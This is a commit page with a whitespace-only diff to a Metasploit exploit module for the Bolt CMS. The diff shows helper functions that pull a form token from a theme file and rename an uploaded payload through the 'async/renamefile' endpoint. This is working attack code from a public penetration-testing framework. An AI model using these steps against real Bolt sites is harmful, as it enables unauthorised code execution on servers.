Fix alignment.
parent
48bd2c72a0
commit
2800ecae07
|
@ -97,9 +97,9 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def get_token(cookie, fname)
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
|
||||
'cookie' => cookie
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri, 'bolt', 'files', 'theme', fname),
|
||||
'cookie' => cookie
|
||||
)
|
||||
|
||||
if res && res.code == 200 && res.body =~ / name="form\[_token\]" value="(.+)" /
|
||||
|
@ -110,8 +110,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def rename_payload(cookie, payload, fname)
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, 'async', 'renamefile'),
|
||||
'vars_post' => {
|
||||
'namespace' => 'theme',
|
||||
'parent' => fname,
|
||||
|
|
Loading…
Reference in New Issue